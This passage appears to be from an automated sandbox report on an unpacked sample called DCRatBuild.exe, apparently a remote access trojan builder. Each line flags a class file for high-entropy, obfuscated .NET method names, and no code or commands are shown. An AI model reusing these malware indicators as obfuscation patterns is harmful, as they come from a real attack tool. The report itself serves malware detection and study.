Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, Oqp2h45MbLWUyY0jC2l.cs	High entropy of concatenated method names: 'lM7HRQ9ITC', 'PqMHF9mYm1', '_8r1', 'mcPHi6Q2x4', 'ksfHfmPIU4', 'klrHxWFDok', 'fKhHgDyP6K', 'h31qF1tlvDMBBc4qvOb', 'jLZwZftwZ7rqKi6ixfe', 'wZRs8EtWuns3RF0TkEW'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, uPfSZV53W3JdoE5DHk8.cs	High entropy of concatenated method names: 'qM7XNkc3Vc', 'WQkXnD5oeA', 'NmtXEvqHXH', 'QkTXqaJcu4', 'Op8XpBcY05', 'RknXh8VrsY', '_838', 'vVb', 'g24', '_9oL'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, KbcJCiXXRFZqdFTya1b.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'RWZdmAINqpWL63JJLFN', 'utPoQMIxVWQB5wXh59w', 'ErQMSOIQxIKLGvZqytP', 'lw8HkNI94AilQwJp17Y', 'OHw4kSIjcf2se1itVv4', 'V1dlrEIZ4yLOupYocol'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, DkrhvAkKQqbxVpf8sH6.cs	High entropy of concatenated method names: 'MLBp6VJr2q2FuGVHYUC', 'UcCI1CJ2ZatwrmC8h6l', 'FsUulOJoaTnjWcJTkrt', 'uF8tMdJTDlBnlM7gBa0', 'IWF', 'j72', 'KCli3w53G6', 'HQAi7WIDGG', 'j4z', 'u0fiL2niwR'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, M3xuuMru7yvhEBnL6WJ.cs	High entropy of concatenated method names: 'sY8YEn9dLh', 'oTaYqNthj9', 'vaSYpDBLoI', 'jHy4nqrtsuJLVaGuBmH', 'jium6ir20tb9x0apE3m', 'bY4SLArDMQBHiglT9GZ', 'pVbkbBrbTq3Mq8hwbu7', 'NLY78kruFMhaRra42OC', 'T7HdcwrRQqMreTCeuX8', 'TA7BH7rkrr0sfOKy12Y'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, deeUvwDr1F0DQZu6DkX.cs	High entropy of concatenated method names: 'aYUx3fSue8', 'NSYy5ABUXilRqy94S45', 'Hje8g1BN0Wge0IhikWm', 'FrhEGXBwJWpXigapZue', 'wjTpJHBWVFXucXpkYJA', 'gUlivCSevW', 'vyxijcp6gk', 'jK4idsomhJ', 'dVhi2SbvUv', 'bAbiDeyID4'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, QG5wveM3LgkoM4utFO8.cs	High entropy of concatenated method names: 'THTGXd54g9', 'LlnGH5wW38', 'HFZGuN2Mgo', 'nv9BTD1dgwBKgByOLNj', 'y7fX8h18fEFCBgc8XqO', 'Onv1mq1oBLmQhg26G9W', 'Yrd5wn1TEMkNcyAEmG9', 'E7jAev1ryLaiPvkh729', 'zILvO712iw2MYYQe8uM', 'o7j94J1FOfS3efTjw4g'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, ySyEcdMc0cni3Q58xjX.cs	High entropy of concatenated method names: 'od4KtMd6Yi', 'Y2lK8xg4k2', 'jCiKzoD0sQ', 'X16wTqpAsA', 'UwLwSyR5k7', 'oLFwGDe24B', 'reSwbGbcxO', 'MiHwKKbr6M', 'dTxwwj6hoI', 'oH920mliUAsW1ssDfOk'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, WHDInNVdHmUBgCtoi3.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'lRiwWhfWeGWb0mDrG9U', 'VbUZWgfUSbQvyaC9Pdv', 'ICG68jfN3L5tep3x9te', 'qe9ecBfxsxNcVLMCxHG', 'g2iXBifQjT1ktviJioY', 'LPXijIf9ZCCgMmrLF6Y'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, PNKNrn423aLw7YTXAHt.cs	High entropy of concatenated method names: 'yucBDaMMP3ECX', 'vyn36Op7S1eDK6Fo3vm', 'pnZE9MplapgQxsowx5a', 'jENnnCpwTNPEY3Vp3hK', 'ihRwU9pWoLl7mLENj3c', 'aylK7HpUuVITtLZewJ3', 'ACAK56pGZ4qlfa905XL', 'jYtERip0o4e4prA4nqU', 'SmhZAJpNrGMGPNDmgmS', 'JUVss3pxOBiloqjaAk4'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, AnGUVdD2JESKqb0kjLg.cs	High entropy of concatenated method names: '_4J6', '_5Di', '_1y5', '_77a', '_1X1', '_7fn', 'OUK', '_8S4', 'wUn', '_447'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, vuI9WhDKcr3MwVZ4Abr.cs	High entropy of concatenated method names: 'PJ0yXvkQrk', 'c2xyuTMi4d', 'NrpykOciTD', 'dZNylap7gw', 'KvQyyJeyCO', 'VyfyUegaNa', 'gSMy3CSdEb', 'NAMy7HomTk', 'jUEyLnimSX', 'DHGyCFxrR9'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, GctDFZX41lS9Uo7uuCY.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'Uwr5vTIiWjwcYngGWgJ', 'EUOf6qIyRhpmwSklL7m', 'qtXKpFIXRMHDIQ694xi', 'ywMN29IvZpCnhPQB7UT', 'eHYtqUIV6jXNMrdXFGA', 'CHpih9IzPL6s86wDmCF'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, SktYJqkXLPIuQ6Awout.cs	High entropy of concatenated method names: 'RtgW0UJt9s', 'RGpWvSvxAq', 'b3tWjZ0iKr', 'IdLWdrXJSJ', 'U8jTFMUzVvcqdI1HDjd', 'gqIyrTUvLaDLButUU8H', 'Rj60hxUVqjy7YSgvJ9G', 'L0Duk7N5w2id9lXCrtM', 'SGCSJpNaFDhAOPNv3yE', 'bKiUWeNmtNZykJXx0KV'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, mlk1UZXKuLKF5JDXCmf.cs	High entropy of concatenated method names: 'HGHGCC3pnt', 'PMFKAG1IJLMsJP3rFBV', 'DyTFnY148eUATHh7Dhw', 'g9ntY81fRStEYuH89Hk', 'uM31K61H2MmaPPqQadm', 'dgVBDP16hIGdOjUYfM0', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, iRKR1nXyR9O1jxumahV.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'cHpum34egfeTIb4Sdnd', 'B0ZuOV4LPImaZwJi5Pg', 'GqSZAQ4ignGH9u1iMlC', 'Jc6Cm34yLoeihFSreTE', 'EFfQsp4XpefdbH3GNQd', 'H6FAd54v2U1f0BGelAZ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, wxlCxPkYywwxbY5Yf0k.cs	High entropy of concatenated method names: 'g7dFy6Ru26', 'lReFUD5c13', 'cyGF3XyeVy', 'e9682U9RXr0kVildrd2', 'fLRWS79bisoSP8SVcBf', 'btb3vu9u3Kp8mbLFUZJ', 'JxUxBY9kYiRotWnW9FZ', 'lH0FeK09an', 'hBkFWPSYgL', 'JrKFRdjvJJ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, MsBg6K5RkP1uMJ0tCH3.cs	High entropy of concatenated method names: 'UvL0J4QlU4', '_1kO', '_9v4', '_294', 'fiN09k7ww6', 'euj', 'XqY0YcsQHH', 'IU70XKQPcs', 'o87', 'VDG0HBWOOJ'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, L7trMlXk084m2iRiuOD.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'BR8JGxIqowvt7Evqt19', 'keGBxsIFCHwBPCI5TN7', 'GSSyCmIAp3nSaWM96iD', 'ycCsxQIdyhWFEUgsE74', 'iZ8ZkAI8MLwxvQmFqlQ', 'zUuFbOIoXb5oGaNA3H6'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, svkKVPMTtQZgVyRGCYB.cs	High entropy of concatenated method names: 'kyJbtL3ClB', 'nx0b8UxLc4', 'A2hty50NULorsvmYhWY', 'H9mMBL0xEHgKSEnn91C', 'Ad1cMr0QfJVKsmbaAGZ', 'gmvSbw09DVsSVLAmhBR', 'Rfq8Lv0jNDScGRXA51l', 'adcMhi0ZY4tiPAm4qck', 'qWWd9F0JOsEahB0IXiB', 'tASqwt0B6pEBFET5id8'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, ooLRuLDTQX9YMad3xl6.cs	High entropy of concatenated method names: 'H4jgKJkYAu', 'FHhgwE3xbA', 'HK2geNLcgF', 'nvs919nwtCcbuDT8nsk', 'gxZT8SnWWtulfk6mvda', 'uT6bbsn7Uwg26WXLo5F', 'vhSGs1nlEpxaj5Y1eCs', 'ytCVTinUVrwV5p5iGvR', 'jGRfplnNuYGdd7vWY61', 'Ja6i2inxwKKaSGQ0irC'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, tdSiuSDaMjdFhUgObFS.cs	High entropy of concatenated method names: '_7zt', 'CAWgCouuRT', 'FiOgOxJ2Ic', 'hm9gmDRRuk', 'IFTgQATEFT', 'GOqgJBmSRA', 'A2pg9tZUAj', 'sL5A1Tnjpg1I6KAh5in', 'qFLXaQnZwokYb4IMZDT', 'fZUM3JnQMt4eIqbLCE6'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, HXrR7qkDf0Fi44gKRJ1.cs	High entropy of concatenated method names: 'e36WodF6qn', 'BomWrZ1cQ6', 'f7kWsm91HQ', 'hU9WNDvEV5', 'gicWn7kr3a', 'GusWEUwNi6', 'VbERsCNEsbVvwLT3E8l', 'nuXd0tNYMynGG8wqfmK', 'PLdKXUNKU71c8nA26UN', 'FynVwTNqk8oApSdk9IO'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, sUnRYVCiRw8ZadMnWY.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'eesWWSHL2drSBDxLvHx', 'e5ixO3Hif2IyBL8oXHk', 'lkOLIjHyMND9eVFt8kt', 'yWuxy2HXLqTRVwabTl9', 'icySvEHvFnnujmKhkEp', 'TBl8KRHVnv5cYtsyOA8'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, SjZBBJ5sEtuH684DtpW.cs	High entropy of concatenated method names: 'IA46Babn9r', 'CGjf62RqTUdOAnDWAeJ', 'mi7i8JRFJRjjgBOer4s', 'qjWWjdRKw2L8c98uleN', 'sRVND8REEVZMLcZ5AN1', '_1fi', 'nbt5hL8cDK', '_676', 'IG9', 'mdP'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, GZZEGKMLLRQu2sDQVI6.cs	High entropy of concatenated method names: 'dXvKkCwReb', 'pgNKlaDXgI', 'od4gx77JRkEwkIYiSxl', 'IuZisN7BgCVVkhfRnYJ', 'cc5v657jQLLp1BWJJpE', 'ShK5Vq7Zlj9nyhh257i', 'rZ7Eoa7ncoa1UKi9sb1', 'ElUsZO7YAVNsWOK9rTf', 'eZo7tT7K2mE1s6QfHoM', 'o6447F7E2i6FZmUM5PF'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, riAopur7oofVq4YBIsv.cs	High entropy of concatenated method names: 'fcvX5IbfyE', 'dPIX62rJPJ', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'RwsX0vKd1B', '_5f9', 'A6Y'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, U6p1FPktFl1cR68DAXN.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'MnuGbGZN2g', 'zFFiKA9VAS', 'CdoGTDWYvq', 'LIB7tKZG67C8qLAqHry', 'PyrMX0Z0rhY2OHO3sci', 'bpRZqkZ7Jt0eZ84UlL5', 'FtK96aZlo04C5lWhAXC', 's5odbAZwnSQGilF4fW1'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, SYyIg6MMNfhQnewQRgt.cs	High entropy of concatenated method names: 'ChaGEenalh', 'IGfGqgsEik', 'GOhGpxWWxI', 'lrMGhCwdhd', 'mL6GAQcDvv', 'LXuGM7npwF', 'yBQbU7cW7gb19veHuMy', 'Q9ZjFAcUaZu3FVR8NS7', 'bFcvYDclh6Gd6gqWl03', 'zFVhk0cwixSqsAMBih0'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, hymEolDmJCDvG7pXDtp.cs	High entropy of concatenated method names: 'tSeltxcyPc', 'i9AlDhqPgR', 'CFMlccHFFv', 'lvOlPgEFn2', 'rmBlBYU1F5', 'DSAlZSvLAu', 'TQWl4s3XpV', 'yo1lVo9PqV', 'GcCloWPGvP', 'Nghlrtd830'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, hUcm6qDlM5iRY6t5U0Z.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, C1tlcgkbm50McP14eAR.cs	High entropy of concatenated method names: 'ydARA5iYeC', 'Kb9RMriUZL', 'oh9R1jrJDq', 'dgIRIU0ucH', 'opBRaryXXg', 'sORh249Iey3O5e47ZWF', 'yypsmX942W1Rbx2TpMD', 'flMnAN9fRBiVxDl4rYZ', 'r27pT79HnGWKaWlDLsQ', 'rOurow96L6fan0k31ZP'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, CRcZ1XDiyfXWALjR5J3.cs	High entropy of concatenated method names: 'wZZk20uRwD', 'Bi2kDRvQ77', 'LS3kcPYUjS', 'NlZkPsUJxD', 'c8okB4B5sP', 'RjjcaWYNin3kNQ76EbC', 'xRdE4rYWxavD8pE5xhl', 'jgUo1QYUnLPIeTWuND3', 'qSm2jBYxQNuH8KdqAtX', 'Y9TSfkYQX0VKtd7AHiF'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, iu9NfPXI5EJAe19Mmf9.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'jJuMMx3QthFpeh7OpUV', 'KO5R6v39bTLoqYh5Tgv', 'OwGwHB3jxGX6bfPokwO', 'LXHqtN3ZWI1luEvvpGM', 'GyvG0X3JeAxc3cAZfCu', 'PCfRLs3B0uFF6nfCAhn'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, DT03pUXYIEy4GFhTafP.cs	High entropy of concatenated method names: 'UCsS0lJoXU', 'p0Kolg6WpotpXc8DdEP', 'es9Qp46UQSUr80kfIAa', 'x1xiag6l0LE6lRmCCB6', 'BdF3Fi6wlEVGSDqiguV', 'jAXDsY6NVnZyGW3n77E', 'C2yeEB6x4TTtA2WjQkc', 'ryB5Rq6QJ8diqkmNdec', 'C0xyLY699en6BGrnnVo', 'f28'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, yIhTZoX797Z8Liv5h9K.cs	High entropy of concatenated method names: 'yAyGJjBb8c', 'slXG9ROQqC', 'EqgGYgqMi5', 'dFw2Qe13iEn4Vk5pDy8', 'AHmTU01PYkgFWoBNYEQ', 'VsvjVx1MQm0meWTQ1mW', 'A3avUQ11YvTE0ld3bdt', 'gJjDu41cU0BcFBuYXcM', 'gsueuR1GiU5mPvpWXtX', 'ylY4cn10rtoxmrNmxdP'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, vOUSlNrluZFMtRC00b1.cs	High entropy of concatenated method names: 'JUUYOvFZZT', 'Mv2YmVcCp8', 'dZ6gBbTLh4nWhd37bkw', 'Mx1vSCTiPLlt6PTPt2E', 'qDetnYTyEC91haLh9vQ', 'eBVL4XTXM2MVgVHjYaK', 'EVMEpTTv7Jvr4TyomEc', 'KpjBgSTVwbd8WFo04HE', 'jE7O2ETzfVjGu8JXRVb', 'sFuUIer5SZB3Sh8m0er'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, U5c5ALXZYnNckYqevqc.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'f09U5t3ARcqrBrpVEYD', 'ct2y2e3dnrycLrh6NaX', 'MobS5m38985beDy6WNj', 'nUebAf3oHQ1O4dk9Q5g', 'IgQk6P3TKMToUJ8Bvwc', 'NhSq7Y3rEjOFCh1y78t'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, vdTvwykPKYw0ihdLp6t.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'BL6EZHjGgpFPFb4Ba8m', 's9EZ0hj0QajvLceDhuS', 'Vexvujj7qbyaXMsTmO4', 'sghfZnjleEPGRHdp6XX'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, lw6lLjDnqcnsu0RQKqd.cs	High entropy of concatenated method names: 'A9Ug2VnJNn', 'VyWgDjqVxr', 'A5IgcGped8', 'MqDgP0KB6M', 'tVogB3VWXJ', 'sQGu0wnoFcft6FDgbmy', 'DgbTtOnTIYbnD6NAlHx', 'GHxGkundYyImpZjeTRF', 'EyaAW5n8vjXRJIHJva0', 'Vvq9H2nr91VqCaFAZ7K'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, dCZaLq43G3e24QElXD.cs	High entropy of concatenated method names: 'b46ktZGAb', 'wEh37mdV7G1b3Ty191', 'bpD0iLFC6srr6It8Fv', 'Hc0SeaA8MeosNT4BEG', 'FIC7WK8uHTMRQ7cGdV', 'if8UxGoUV0YV12SyjV', 'j9qG87eYB', 'ArBbV4pN6', 'aiIKePb3Q', 'HlRwVPGL8'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, ReUYoKOQ56dexA6oG2.cs	High entropy of concatenated method names: 'g25', 'YZ8', '_23T', 'G9C', 'PxvrgccYH', 'HtsxvUmo6TAc1LJfgeC', 'Iy6jE6mTfsOv2TjK85C', 'bNa8QAmrQT9xdubb5IE', 'o2OEbcm2EccEYIJF5rw', 'wm0Z9UmDd53SVv7WMBf'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, rjYXO1Xt7HXwh5cqqeY.cs	High entropy of concatenated method names: 'ISXGfM30dj', 'ig7GxKgUWP', 'BTHY9D31unHeMETIVYy', 'Rv2wEv3MFNm2vht8Rhx', 'Bu4vku33rAc7ilEbglB', 'QP8POI3cFFO0iJjgad2', 'TTkOmr3GXmfMNARc7Sn', 'KGtf0r305nG4V02Y8y4', 'uWLtBp37k5pvKaM5B8x', 'F7xfN03l6oQwAU1fbGL'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	High entropy of concatenated method names: 'WFHbdbLjpw', 'QL6b2NnYqJ', 'YrUbDB5aF3', 'f2nbcdiIwx', 'WlgbPfWREI', 'qRLbBdrsuJ', 'E9sbZudlWA', 'JVjE3XGJZMAg4vUEoRy', 'UonqBHGj4hOMf2TWXSo', 'd7fFGGGZQGlMg2KjGk9'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, en8I1MJvnXbnluCgtB.cs	High entropy of concatenated method names: 'YxVYVlySR', 'wqFX7fO2n', 'VxIHFt53R', 'XWvuTJWjp', 'KQh5QMAxv', 'xIs6k5POS', 'ccr0QPoel', 'Io8yeta66LwTteBFGJA', 'kc8KvLaPo5ZaH9HU3K6', 'e9iqfkaMYCs4nO9wBIu'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, LF8f8kDR88y5ca079GD.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'vdVlyIcO6a', 'lfulUeauR7', 'r8j', 'LS1', '_55S'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, qPskceXmrixwxJjbNGH.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'V8I6VE3g1nJXMXDcnab', 'Pwv28P3SmEN7Hpe8xd2', 'A1V5Zj3sh0NcUtkf8Ky', 'sAioci3eYcfSWALgDpY', 'wdAlBR3LdmOHgfKWHd2', 'ULvxqa3iPo8yCLoRaue'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, NnXO6EXSUsBwIS3XxOE.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'XOqi6p4YECwlVHNubds', 'EK4wOD4Kl5rUTSIgGQY', 'XwqntP4E1GymDI3CP4S', 'iACoWq4q6aseTxUNBDj', 'wim2TV4FXnLEZI3XY95', 'dGo3Cl4A4XhaaCNy4af'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, feFamedYfxyCYds7cQ.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'YGTq3mOyXydscR02VlD', 'gIPflmOXChXfUp6tVVi', 'CVYw2ROv76UqDMXA631', 'W4g6IFOVU8d5FlTAg62', 'rk7OCROzAkA4wJxachZ', 'vfBDQof5eAbFUj21ZB2'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, qPKTHmm9orwIlGudmS.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'DCx7QfHKu4OLc8hvDcu', 'Am1lvhHEMyQKo7BGfmu', 'gO8EePHqgeUpMLYbD3M', 'Fu5NCBHFQQf2IwrgMGT', 'bxdi6fHAjWs6x6CX2DN', 'kpvJF9Hd7PKaMdIQkMS'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, uJqfieXFIghvENbe8e8.cs	High entropy of concatenated method names: 'k1hSt6VImW', 'LbxfkIMr5yPBEXvTq3B', 'KGmfh9M2u1BmCOxFNKJ', 'J3TngTMoPcWVd1c0b2b', 'YjARhIMTV2f4swVfHRE', 'SU9Ay2MDbqloLpArqb3', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, i0puI4Xp3qt6CQH4YxG.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'XL7ghn6o9eIkpdPmGLJ', 'v0sQdR6TqCNlpZr9Jfi', 'GIdZ1s6rP1rPOgBHuCb', 'ptKEBs62Glg12Q3xM4t', 'gcwMsv6DWorrhEDD0gl', 'Hm1hR36tqlxPE4w5YUM'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, pD0hMnMaSpk8HN57u9o.cs	High entropy of concatenated method names: 'EH5bzkRYua', 'ImAKTvPwv9', 'Ya7KSGRImM', 'HrrKGVkL3A', 'jOhKbh4LTp', 'AHiKKFGYkL', 'NyZKwA0dxP', 'X4lKebcDoM', 'hrmKWiEOXj', 'nC9KR1LJ0c'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, QFLqVS5PaWP8Gb60HvS.cs	High entropy of concatenated method names: 'nFWHOY8XNY', 'BFKHmRdUy7', 'GlGHQ1DogG', 'TVjHJAmFvV', 'QoeH9iyu8y', 'mgo77WtXAN9bVcgEhp9', 'uqcj9ktvwqAhsSWG4JE', 'otnvI9tVpgw23j7PfNs', 'qNm8A4tzebk1QYkMsGQ', 'UY2mfWb5ImtoV79CQ6U'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, CKFSINM76vVq76E8chw.cs	High entropy of concatenated method names: 'MmFWXWdXe4', 'MjNYfPUStTvltS2CH7h', 'ttZPBdUCdvsK6S2ZXLk', 'DKSWoLUg9qFlNTkfoXw', 'hGKCBOUsdBMIqCCV0q7', 'yUhw1JUe7Qeesw130x4', 's5eWLvAAsN', 'lekWC1nGwA', 'ekrWOK20C2', 'rF3Wm5xTA9'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, obhmbxMd7KOfTiSDKTh.cs	High entropy of concatenated method names: 'yC7eRP6pOU', 'Gg2eF2CB69', 'mC3XkCWilx0KntRqZEW', 'glbhDtWygYUD1NL9Sek', 'jxwGUbWeeQ41otjW3rR', 'mfPXJHWLQOn1PyaPNN8', 'cFMe3GAdE4', 'gpLZx8U5I3ZLubdCC0p', 'LGpo8jUa7DVvvPxIVRm', 'xSl36qWVNR5mue29TaT'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, n75vDiDCEN2dLk9ZHh0.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, oPLvoJrEpe9xPPokXMK.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, N0ZL0jrWWfceRYrduTr.cs	High entropy of concatenated method names: 'HpxXKPwCQv', 'OemXw6yjcw', 'LRcXeK6bu6', 'aAWXW9sZ09', 'mEeXR9ORSD', 'HBcXFK4mUP', 'rpBXit76I7', 'zgNXfSxwKR', 'XVbXxjI6Ox', 'iDYXgrcHpq'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, frrJupkSmosdxLocHUR.cs	High entropy of concatenated method names: '_223', 'rf8DkkQWGmysf7NdrNi', 'Gy1ECTQUWkoClmjQgwY', 'E7F9OEQNNAFEU0osmYF', 'WPsWaZQxJwTMmwNHk9D', 'avLX0IQQ18byRowSfj3', 'CtgseSQ96PnQjkJeCu0', 'oDUQd6QjVleCqFCJCud', 'sdHlVyQZXiuHuwh1jKu', 'hcHEw2QJ5V5JV22bFIi'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, zsJx2m5VH3sr1ufsdeO.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'fV00FTpAsX', 'ydp0iQBSky', 'A2E0frISXW', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, cHU5Gukm0GCCGa2f6F7.cs	High entropy of concatenated method names: '_269', '_5E7', 'lEaGrjxerf', 'Mz8', 'XlWG33CjyM', 'LM4cWaZs6SOOT87Fv5J', 'DuXLy6ZeWEwSjpmcdfX', 'UEtRK6ZLDVv2TcBudro', 'V8N2Y8ZiDvMVXWZK63Z', 'p5mVd4ZyW4fmse5dvJB'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, NO97mGXPMbHRGZxQaFA.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'koHYPK6JJMZvepDOGEx', 'Wsamyc6BJMB1ByBQMre', 'zFi7yV6ns0R6WZIBcWv', 'qFcOdH6YBfdWJt7gchD', 'MQKnvg6KZ6nFWd5yvBG', 'lg4CGv6EQRlNEmWDqaA'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, a75LDG5iWX2UXuyn4PO.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, UtIu7cXip8x48vme9aw.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'p3Udd96Vauibh2sflIe', 'GMDv4s6zn4oxU9omEje', 'MRrSFVP5rIepLmL6IIB', 'PlZwd9PaXgP3dUFGwk2', 'YjpTFTPmgOurWVCupxP', 'DTYs4FPOd3uQtYEPRgV'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, RxNhJUX2wVQDPVqKhTB.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'gyltxx4NxXMvy0shpqm', 'erxs8T4x1tekLwqR0TP', 'edbmEj4Q6PYpI48u4oE', 'mvobGH49EHcc8YlkSUy', 'ngx8Kr4jmjifbS2ho84', 'lcWFkW4ZkeaXFMaTmUo'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, ac7WH95UvuBd3LGJiGL.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, MnkY9kXrawIUFk0neBy.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'pa1UBtIpGJJWxQh45ia', 'qtxmEYIhH0Dk6rBWNU4', 'jYNZPTICkbXOYPSZKlb', 'nBhSWiIgt7GThcLJ452', 'OUnkrVISG84FHro0My9', 'LfXcMKIspwA8O5ujmRe'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, g9m6KQXbMqnUXlHgurF.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'vqQ50w6577CLglyqQnm', 'N7TBj26aEOXxuBjYKaK', 'zWxrZj6memAfA7tRQSk', 'oxXloB6O5ApvIwKecPA', 'n3S91p6frX5A8itDh9v', 'QuehVV6HIV2kOOtvcah'
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, fj489oMfawRYiVEqp9g.cs	High entropy of concatenated method names: 'eoZbI6UFwk', 'Y5qLEv0OHFGsQbfan0K', 'hZ4QoG0fNjeX3bZda72', 'xC9h4I0awK3c4olDM28', 'CwugtT0mjUH8epc1REW', 'pYWEG50HYrHxUmeNAHA', 'FtBg4B0IT4sMMQ4L6nR', 'sbK4BI04iQb02i59Fhh', 'BWYdjK06Du7ghmR2A6r', 'MQ7P8D0PXts1JsePWoH'
